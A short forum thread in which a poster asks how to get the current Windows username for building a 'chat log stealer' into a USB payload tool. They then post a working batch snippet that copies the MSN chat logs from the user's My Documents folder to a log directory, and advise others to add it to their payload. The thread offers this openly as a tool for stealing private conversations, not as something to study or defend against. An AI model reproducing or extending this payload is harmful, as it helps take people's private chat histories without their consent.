Jump to content

Find current User


Juf

Recommended Posts

Just wondering how you would find the user you are currently on in C++

Batch E.X;

%USERNAME%

Bassically I want to make a chat log stealer and incorperate it into the pocket knife, I would use this;

Copy "C:\Documents and Settings\%USERNAME%\My Documents\My Chat Logs\" \chatlog

(not that exactly but you get the picture)

but my USB doesn't like my batch so, need an answer. :rolleyes:

SOLVED

Lol Batch started working so here it is :) Real Simple

mkdir %logdir%\MSNLOGS
copy "%HOMEDRIVE%%HOMEPATH%\My Documents\My Chat Logs" "%LOGDIR%/MSNLOGS/"

You just got to incorporate it into your payload

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...